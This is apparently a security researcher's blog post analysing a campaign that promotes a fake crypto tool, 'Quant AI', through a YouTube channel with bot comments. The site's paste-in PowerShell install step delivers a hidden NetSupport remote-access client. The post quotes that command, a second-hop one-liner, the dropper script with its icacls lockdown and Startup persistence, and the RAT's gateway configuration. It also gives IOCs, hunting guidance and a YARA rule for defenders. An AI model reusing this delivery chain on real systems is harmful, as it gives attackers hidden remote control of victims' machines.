Are threat actors using AI? A fake YouTuber, 1,660 bot comments and a NetSupport RAT

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A verified YouTube channel with 2.23M subscribers is running two “review” videos for a crypto tool called Quant AI. The videos send viewers to quantai[.]io, where the “install” step is a ClickFix paste: irm quantai[.]io/install | iex. As retrieved on 10 November 2026, that one line pulls a genuine, vendor-signed NetSupport Manager client configured to run hidden and call sonosarcsounds[.]com:2084, then opens a signed decoy app so the install looks like it worked. The production around it is the story: a presenter I think is AI-generated or deepfaked, 1,660 comments from 1,660 different accounts, a signup flow and a code-signing certificate.

If this is your fleet, do these first:

• Block and retro-hunt quantai[.]io, chartsgpt[.]com, sonosarcsounds[.]com, sonosarcsounds[.]net, 45.91.202[.]58 and outbound TCP 2084.
• Hunt for client32.ini or a binary with OriginalFileName client32.exe anywhere under a user profile (Sysmon 1, EDR file inventory).
• Search PowerShell Script Block Logging (Event ID 4104) for Dio=, -pkim, -pico, -pfafa, -pbro.
• Alert on icacls.exe granting *S-1-3-4 (Owner Rights) on a folder under AppData\Local.

Full IOCs and detection rules are at the bottom.

“Are threat actors actually using AI?”

I get asked this a lot, usually by someone who has just read a headline. The headlines are about the big stuff: AI writing exploits, the gap between a patch and an attack shrinking, deepfakes turning up to job interviews.

That’s real, but it isn’t where I see it day to day. What I see is less exciting and, I think, a bigger problem for most of us: AI being used to look convincing.

Think about what we used to tell people. Look for the bad grammar. Check the sender. If it reads like a scam, it probably is. That advice is ageing fast. The lure doesn’t have to be an email, and it doesn’t have to look dodgy. In the campaigns I’ve been pulling apart lately, the people behind them are compromising websites, building personas, and standing up YouTube channels full of videos and comments. They are borrowing trust that somebody else earned.

Telling what is real from what was generated is getting harder, and our users are the ones being asked to make that call.

I think this post is one example. It starts with a YouTube video. A man at a desk, good lighting, telling you he has been using a market analysis tool called Quant for a week and it has really impressed him.

The malware here is three plain PowerShell scripts with nothing encoded and a commercial remote-control product. The work went into what sits in front of it. Where something is my read and not something I can prove, I’ll say so.

Defender quick reference

Field	Details
Activity type	RAT delivery (NetSupport Manager abuse) via ClickFix, fronted by a fake product and YouTube promotion
Primary artifacts	irm quantai[.]io/install \| iex, %LOCALAPPDATA%\Supports\service.exe, %LOCALAPPDATA%\Stoservice\stservice.exe, client32.ini, sonosarcsounds[.]com:2084, Startup service.lnk
Verdict	Malicious
Confidence	High for the chain (each stage was retrieved and read statically, not executed). Lower for anything about who runs it.
Key logs	PowerShell 4104, Sysmon 1/3/11/22, EDR process tree, DNS, proxy and firewall egress
ATT&CK	T1204.004, T1059.001, T1105, T1219, T1547.001, T1222.001, T1036.005, T1571
First defender actions	Block the five network indicators; hunt client32.ini in user profiles; isolate any host that resolved sonosarcsounds[.]com or [.]net; treat it as interactive remote access and rotate anything used on that host
Detection opportunities	YARA on the NetSupport config and droppers; 4104 strings; icacls Owner Rights pattern; client32.exe outside Program Files
False-positive notes	NetSupport Manager is a real product. A licensed install lives in Program Files and points at your own gateway, not a user profile and not this one.

The attack at a glance

1. Lure - two videos on a verified 2.23M-subscriber channel review “Quant AI” and link to quantai[.]io.
2. Social proof - one video carries 1,660 comments from 1,660 different accounts, none with a reply.
3. ClickFix - after signup, the logged-in “Install Quant” page tells you to press Win+R, open PowerShell and paste irm quantai[.]io/install | iex.
4. Two hops - that returns a one-liner that fetches the real dropper from chartsgpt[.]com, sending your computer name along with the request.
5. RAT - the dropper unpacks a NetSupport Manager client into %LOCALAPPDATA%\Supports, starts it, locks the folder with icacls, and drops a Startup shortcut.
6. Decoy - a signed “Quant AI” desktop app opens and shows a crypto dashboard.

How it works

The channel: big numbers that don’t add up

The channel is called “Thomas Adams”. YouTube shows it as verified, with 2.23M subscribers, a join date of 25 June 2025 and a location of United States. It has 13 videos and 256,730 total views. Those views are essentially the 13 videos now public (they sum to 260,366), and 191,874 of them belong to the two Quant videos. Whatever earned 2.23M subscribers is no longer visible.

The upload history is stranger. Eleven of the 13 videos were published within the same three seconds on 16 July 2026. Five have virus-removal titles (“DESTROY Every Virus on Your PC in 5 Minutes (Nuclear Method)” is typical) and all five are exactly 362 seconds long. Six have bug-bounty titles and all six are exactly 340 seconds long. Each has between 3,346 and 12,406 views and between 1,345 and 1,476 likes.

The two Quant AI videos went up on 5 November 2026, under two hours apart, and each links to exactly one place.

How it looks in search: verified badge, 92K views, link at the top of the description.

My read is a repurposed channel, bought or taken over, with filler loaded in bulk before the campaign. I can’t tell you which.

The videos: where the AI question lands

“I’ve been using Quant since it launched last week.” 7.1K likes, 2.23M subscribers.

My read from watching it is that the presenter is AI-generated or deepfaked: either a synthetic avatar, or a real person’s footage given a new voice and script. That is a judgement, not something I can prove from the files.

Both videos carry dubbed audio tracks alongside the English original, 19 extra languages on one and 20 on the other. The watch page I captured labels the audio “Auto-dubbed”, which is YouTube’s own feature.

I pulled all 1,660 that yt-dlp returned for the second video (YouTube’s own counter showed about 1.6K):

Measure	Value
Comments	1,660
Distinct authors	1,660
Replies (from anyone, including the uploader)	0
Comments with zero likes	1,646
Comments containing a link	0
Handles ending in a hyphen and a short random suffix	878
Texts repeated across accounts, ignoring case, punctuation and emoji (9 are exact copies)	27

All but 13 were labelled “4 days ago” when I scraped them late on 10 November UTC, which puts them in one 24-hour window around 6 November, the day after upload. YouTube shows relative dates, so that is as precise as it gets. The most repeated line, “wow this tool looks super interesting cant wait to try it out”, appears six times from six accounts, give or take punctuation and emoji.

Comments from a Quant video page, not the one I pulled in bulk: generic praise, and no replies among those shown.

Whether a language model wrote these or someone filled in a spreadsheet, I can’t prove. The volume and variety are consistent with generated text.

The site: an account before the payload

quantai[.]io is a polished site for “Quant”, which its footer calls “an AI assistant that helps traders research markets”. It claims 47,000+ early members, has Terms of Service for a “Quant Ltd”, and loads a Cloudflare Turnstile check on the signup form.

The landing page.

The domain’s current registration dates from November 2023 and it was transferred on 10 August 2026.

The install instructions are not on the public page. They sit on a dashboard page behind signup and login, which should keep the ClickFix step away from crawlers and scanners.

The ClickFix step, dressed as an installer. Note “Windows 10 & 11 - ~40 MB”. The four files it actually downloads total about 2.5 MB.

I covered the general ClickFix shape in an earlier post.

Two hops and a User-Agent check

irm is PowerShell’s Invoke-RestMethod and iex is Invoke-Expression: fetch text, run it. A request to quantai[.]io/install with Windows PowerShell’s default User-Agent returned 68 bytes:

irm "hxxps://chartsgpt[.]com/quant.php?Dio=$($env:COMPUTERNAME)" | iex

The same request with a browser User-Agent, and with curl’s default one, returned a Cloudflare block page, so someone opening the URL in a browser to see what it is would likely get nothing. The Dio parameter hands over your computer name. It didn’t gate the one value I tried: a made-up DESKTOP- style hostname still got the 1,332-byte dropper.

The dropper

The second hop returns 1,332 bytes of plain PowerShell. Trimmed to the lines that matter:

$gagarik = "$env:LOCALAPPDATA\Supports"
$xaxaxar = "hxxps://chartsgpt[.]com/"
@("supportn.7z", "icos.7z", "vh.exe") | % {
    Invoke-WebRequest "$xaxaxar$_" -OutFile "$gagarik\$_"
}
& ".\vh.exe" x supportn.7z -pkim -aoa -y > $null 2>&1

$e = "$gagarik\service.exe"
if (Test-Path $e) {
    try { Start-Process $e; Start-Sleep 3 } catch {}
}

icacls "$env:LOCALAPPDATA\Supports" /deny "$($env:USERNAME):(OI)(CI)(WD,AD,WA,WEA,DE,DC)" /T /c /q *> $null
icacls "$env:LOCALAPPDATA\Supports" /grant "*S-1-3-4:(OI)(CI)(RX)" /T /c /q *> $null

& "$gagarik\vh.exe" x "$gagarik\icos.7z" -pico -aoa -y "-o$([Environment]::GetFolderPath('Startup'))" > $null 2>&1

vh.exe identifies itself in its version resource as 7-Zip’s standalone console (7za.exe, version 16.04) and carries a third-party signature; I did not compare it against an official build. It is there to open two password-protected archives (passwords kim and ico).

The icacls pair is the interesting part. The first line denies the logged-on user the rights to write, append, change attributes or delete anything in the folder. The second grants read and execute to S-1-3-4, the “Owner Rights” identity. My reading, untested because I ran none of this, is that the pair is meant to stop the user deleting the folder or changing the permissions back. Whether it holds depends on what else is in the folder’s ACL.

icos.7z contains one file, service.lnk, extracted straight into the Startup folder: a shortcut pointing at %localappdata%\Supports\service.exe.

The RAT is the real product

supportn.7z holds 14 files, and the executables and libraries in it are validly signed commercial software, not purpose-built malware. service.exe is NetSupport Manager’s client32.exe, version 14.12, with a valid NetSupport Ltd signature. The operator-specific part I can point to is a text file, the client configuration. This is the same trusted-software abuse I keep filing under LOLBins and living-off-the-land tradecraft.

The configuration is where it becomes a RAT:

[Client]
DisableClientConnect=1
DisableDisconnect=1
DisableMessage=1
ShowUIOnConnect=0
silent=1
SysTray=0

[_Info]
Filename=C:\kk\client32.ini

[HTTP]
GatewayAddress=sonosarcsounds[.]com:2084
SecondaryGateway=sonosarcsounds[.]net:2084

No tray icon, no connection prompt, no way for the person at the keyboard to disconnect. Both gateway domains were registered in the same second on 15 June 2026 and resolve to 45.91.202[.]58, a VPS range in the Netherlands. NetSupport Manager is a commercial remote-control tool, so whoever is on the other end of that gateway should get what a help desk would get: the screen, the keyboard, file transfer and a command prompt. I did not observe a session. Same pattern, different tool, as the fake Webex post.

The decoy, and an older sibling

Last, the dropper downloads Quant.exe, puts a shortcut on the desktop and launches it. It is a small .NET app that wraps a browser control around one hard-coded URL, quantai[.]io/app.php, which serves a “Quant Market Analysis” dashboard. It carries a valid extended-validation code signature in the name of an Estonian company, timestamped 27 October 2026 on a certificate that only became valid on 5 October. Its strings show a web view and the bundled browser libraries and little else. I did not decompile it or verify the bundled libraries one by one.

The same server answers on two other paths, ps.php and ps2.php, with a shorter dropper: folder Stoservice, archives boka.7z and smow.7z, no icacls, no decoy. As downloaded on 10 November, its 14 NetSupport files are byte-for-byte identical to the other set. The two Startup shortcuts carry different machine names and target timestamps months apart (19 July and 9 November 2026), yet both embed the same Windows account SID, in a leftover block that also names a path (...\Local\Services\service.exe) neither shortcut points at. That is consistent with both being edited from one original shortcut.

Two limits: the July shortcut records a 34,288-byte target, not today’s 120,256-byte client, and the 9 November timestamp is four days after the videos went up. Earlier visitors may have received a different build.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

Tactic	Technique	ATT&CK ID	What it did here
Resource Development	Social media accounts (established or compromised)	T1585.001 / T1586.001	Verified channel used for the lure; which of the two applies is not known
Resource Development	Obtain capabilities: code signing certificates	T1588.003	EV-signed decoy app
Execution	User execution: malicious copy and paste	T1204.004	“Install” page instructs a Win+R PowerShell paste
Execution	PowerShell	T1059.001	irm ... \| iex, twice
Command and Control	Ingress tool transfer	T1105	Archives, 7-Zip and decoy pulled over HTTPS
Defense Evasion	Masquerading: match legitimate name or location	T1036.005	NetSupport client as service.exe, 7-Zip as vh.exe
Defense Evasion	File and directory permissions modification	T1222.001	icacls deny on the RAT folder
Persistence	Startup folder	T1547.001	service.lnk / stservice.lnk
Command and Control	Remote access tools	T1219	NetSupport Manager client, hidden config
Command and Control	Non-standard port	T1571	Gateway on TCP 2084
Command and Control	Fallback channels	T1008	Secondary gateway on the .net twin

Why this matters

If you read one section, make it this one.

The outcome this is built for is ordinary: a remote session on the machine of someone interested in crypto trading. With that audience a financial motive is the likely read, though nothing I recovered shows what happens after the session opens.

What isn’t ordinary is how little of the delivery the operator had to host themselves. The videos sat on YouTube, on a verified channel, and YouTube dubbed them into around twenty languages. The lure site and the payload host sat behind Cloudflare. The decoy app carried a valid signature from a public certificate authority. The remote access tool is a commercial product signed by its own vendor. My read is that what they ran themselves comes down to four domains and whatever sits behind them.

I think this is the new era of cybercrime. Infrastructure used to be the bottleneck. You needed hosting that would stay up, a way to reach people, and something that would get past a filter. Now the reach and the reputation come from platforms we already trust, and the content on them doesn’t look malicious because, piece by piece, most of it isn’t. A video. A website. A signed app.

The scale is the scary part. Five days after upload the two videos showed about 190,000 views between them. I can’t tell you how many of those are real, and I don’t know how many people ran the command. It doesn’t need to be many. Swap the product name and the script, and the same kit would probably work on a different audience next week.

So why should you care if you don’t trade crypto? Because the person watching that video has a work laptop too. The malware did not get smarter. The wrapping did, and the wrapping is what your users judge.

What defenders can do

Technique (ATT&CK)	What to do	Essential Eight	What to hunt for
Copy-paste execution (T1204.004)	Disable the Run dialog for standard users via Group Policy; tell users that no legitimate installer needs Win+R	No clean E8 home	Sysmon 1 / 4688: a bare powershell.exe from explorer.exe that makes outbound connections and, for the quant.php dropper, spawns icacls.exe. The pasted one-liner is not on a command line; look in 4104 and PSReadLine history
PowerShell (T1059.001)	Constrained Language Mode and script-block logging on every workstation	Application Control	Event ID 4104 shows the dropper in clear text: Dio=, -pkim, -pico, -pfafa, -pbro
Ingress tool transfer (T1105)	Application control so downloaded tools can’t run from user-writable paths	Application Control	Sysmon 11: .7z and .exe created in %LOCALAPPDATA%\Supports or \Stoservice by powershell.exe
Remote access tool (T1219)	Allow-list the remote tools you actually use, by publisher and path	Application Control (my pairing, see below)	Sysmon 1: OriginalFileName client32.exe outside Program Files; any client32.ini under a user profile
Startup folder (T1547.001)	Application control blocks the target; baseline autoruns	Application Control; Restrict Administrative Privileges	Sysmon 11: .lnk written to the Startup folder by a process running from %LOCALAPPDATA%
Permissions change (T1222.001)	Nothing blocks a user changing ACLs on their own files	No clean E8 home	4688 / Sysmon 1: icacls.exe /grant *S-1-3-4:, or a /deny run and a /grant run on the same AppData\Local folder seconds apart
Non-standard port C2 (T1571)	Default-deny egress from workstations; allow web ports through a proxy only	No clean E8 home	Firewall and Sysmon 3: outbound TCP 2084; DNS (Sysmon 22) for sonosarcsounds

Application control carries most of this. Every executable the chain drops runs from a user-writable folder, so path-based rules stop all of them regardless of who signed them. Rules that trust any validly signed binary would have let it all through. Pairing T1219 with Application Control is my own judgement, not from the standard lookup.

The user conversation. The reliable tell is the install step: a website asking you to open PowerShell and paste a command.

Hunting and detection summary

• DNS / proxy / firewall: the four domains, 45.91.202[.]58, outbound TCP 2084. Retro-hunt back to mid-June 2026, when the gateway domains were registered.
• Sysmon 1 / 11: icacls.exe /grant *S-1-3-4:; OriginalFileName client32.exe or 7za.exe running from %LOCALAPPDATA%; client32.ini under a user profile.
• Triage: reset the folder ACL as an administrator (icacls <folder> /reset /T, untested here) before removal, and treat the host as having had a live remote session.

The YARA rules, hunt queries and IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

All hashes are for files as downloaded on 10 November 2026. NetSupport’s own binaries are legitimate signed files, listed for scoping, not for blocking.

Type	Indicator	Notes
Domain	quantai[.]io	Lure site, first-hop script, decoy content
Domain	chartsgpt[.]com	Dropper and payload host
Domain	sonosarcsounds[.]com	NetSupport gateway, TCP 2084 (primary)
Domain	sonosarcsounds[.]net	NetSupport gateway, TCP 2084 (secondary)
IP	45.91.202[.]58	Both gateway domains resolved here on 11 Nov 2026
URL	hxxps://quantai[.]io/install	First hop; returned to the Windows PowerShell User-Agent, block page for the browser and curl User-Agents tried
URL	hxxps://chartsgpt[.]com/quant.php?Dio=<hostname>	Dropper (Supports)
URL	hxxps://chartsgpt[.]com/ps.php, /ps2.php	Second, simpler dropper (Stoservice)
YouTube	Channel ID UCXB43fOyaJWD1o092fOF5Iw	Handle @Thomas_J_Adams
YouTube	Videos RKeu00DiDzw, D_b9HgmrS4Y	The two Quant AI videos
Path	%LOCALAPPDATA%\Supports\	RAT folder
Path	%LOCALAPPDATA%\Stoservice\	RAT folder (second dropper)
Path	%LOCALAPPDATA%\Quant\Quant.exe	Decoy app
Path	Startup folder service.lnk, stservice.lnk	Persistence
SHA256	97c7c44e0bc3a2f76022fd3dea0b74485ee957b5c34b31e75ba72bd02b809d03	First-hop one-liner
SHA256	a7e68c023130cb8090dbcfb5552c3b63db3689f571e94a75e130fa72813657b1	Dropper (quant.php)
SHA256	1146ed6985fccf34997a7bb7610a2dae6aa4b87492da2110ab49c8b2a6896fc6	Second dropper (ps.php, ps2.php)
SHA256	18c534e0e97e5a570019ba371f5a5209a342dd04a9feab1431855766470be4c3	supportn.7z
SHA256	1dd14d248c2624bece4d9dc5f0aa61150511d1f9375bede3a338215a4f1309fb	boka.7z
SHA256	4a3f20a3fe44c2a06a9b75d7b184918023e41bb9dbe7486cb2e3439e0383894f	icos.7z
SHA256	f4a11ef36c995e1854ca312b23451f454056fee78627b2d5036aff4eb1a806c1	smow.7z
SHA256	0561bed36686c0324e93ac7a1f015e3d8055bffca83533918d224b467c8c884d	client32.ini (the high-value one)
SHA256	c3910877eca0b9b2975588cb25d654155d58168114e00aa072899eccf62b35fb	Quant.exe decoy
SHA256	8000ffd1f8b32b4b85be9c3e730874865d949f9359c9a91c4386f4ff32deb180	service.exe / stservice.exe (genuine NetSupport client)
SHA256	621224c0f9b886f1c9c335db6228e6aa89fb9d35cd735a27e69587d3dd653085	vh.exe (reports as 7-Zip 16.04 console, third-party signed)
String	GSK=GC<GAJEL;A?MDI9L>DBMHA=AABFE;H	Gateway key in client32.ini
String	Filename=C:\kk\client32.ini	Build path left in the config
Cert serial	95E63DB9D4569ABB2F87489EE97E2242	Code-signing certificate on the decoy

Detection rules

A YARA rule for the NetSupport configuration. It keys on this gateway, or on a gateway address plus the hidden-mode flags. The condition was simplified for this post and has not been re-run, so test before deploying.

rule NetSupport_RAT_Config_sonosarcsounds
{
    meta:
        description = "NetSupport Manager client32.ini set to a sonosarcsounds gateway on port 2084, or a gateway address with four hidden-mode flags"
        author = "blueteam.cool"
        date = "2026-11-11"
        reference = "https://blueteam.cool/posts/quantai-fake-youtube-netsupport-rat/"
        hash = "0561bed36686c0324e93ac7a1f015e3d8055bffca83533918d224b467c8c884d"
    strings:
        $gw1 = "sonosarcsounds.com:2084" ascii
        $gw2 = "sonosarcsounds.net:2084" ascii
        $key = "GC<GAJEL;A?MDI9L>DBMHA=AABFE;H" ascii
        $path = "Filename=C:\\kk\\client32.ini" ascii
        $addr = "GatewayAddress=" ascii
        $f1 = "silent=1" ascii
        $f2 = "SysTray=0" ascii
        $f3 = "ShowUIOnConnect=0" ascii
        $f4 = "DisableClientConnect=1" ascii
    condition:
        filesize < 20KB and (any of ($gw*) or $key or $path or ($addr and all of ($f*)))
}

Closing

If I’m right about the presenter, the newest thing in this chain is the man in the video, and the oldest is the thing that actually hurts you. If your controls only work when the lure looks dodgy, this is the lure they fail on. The ones that hold are the boring ones: what is allowed to run from a user profile, and what a workstation is allowed to talk to.

Stay curious.

---

On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

• MITRE ATT&CK: T1204.004, T1059.001, T1219, T1547.001, T1222.001
• ASD/ACSC: Implementing Application Control (November 2023)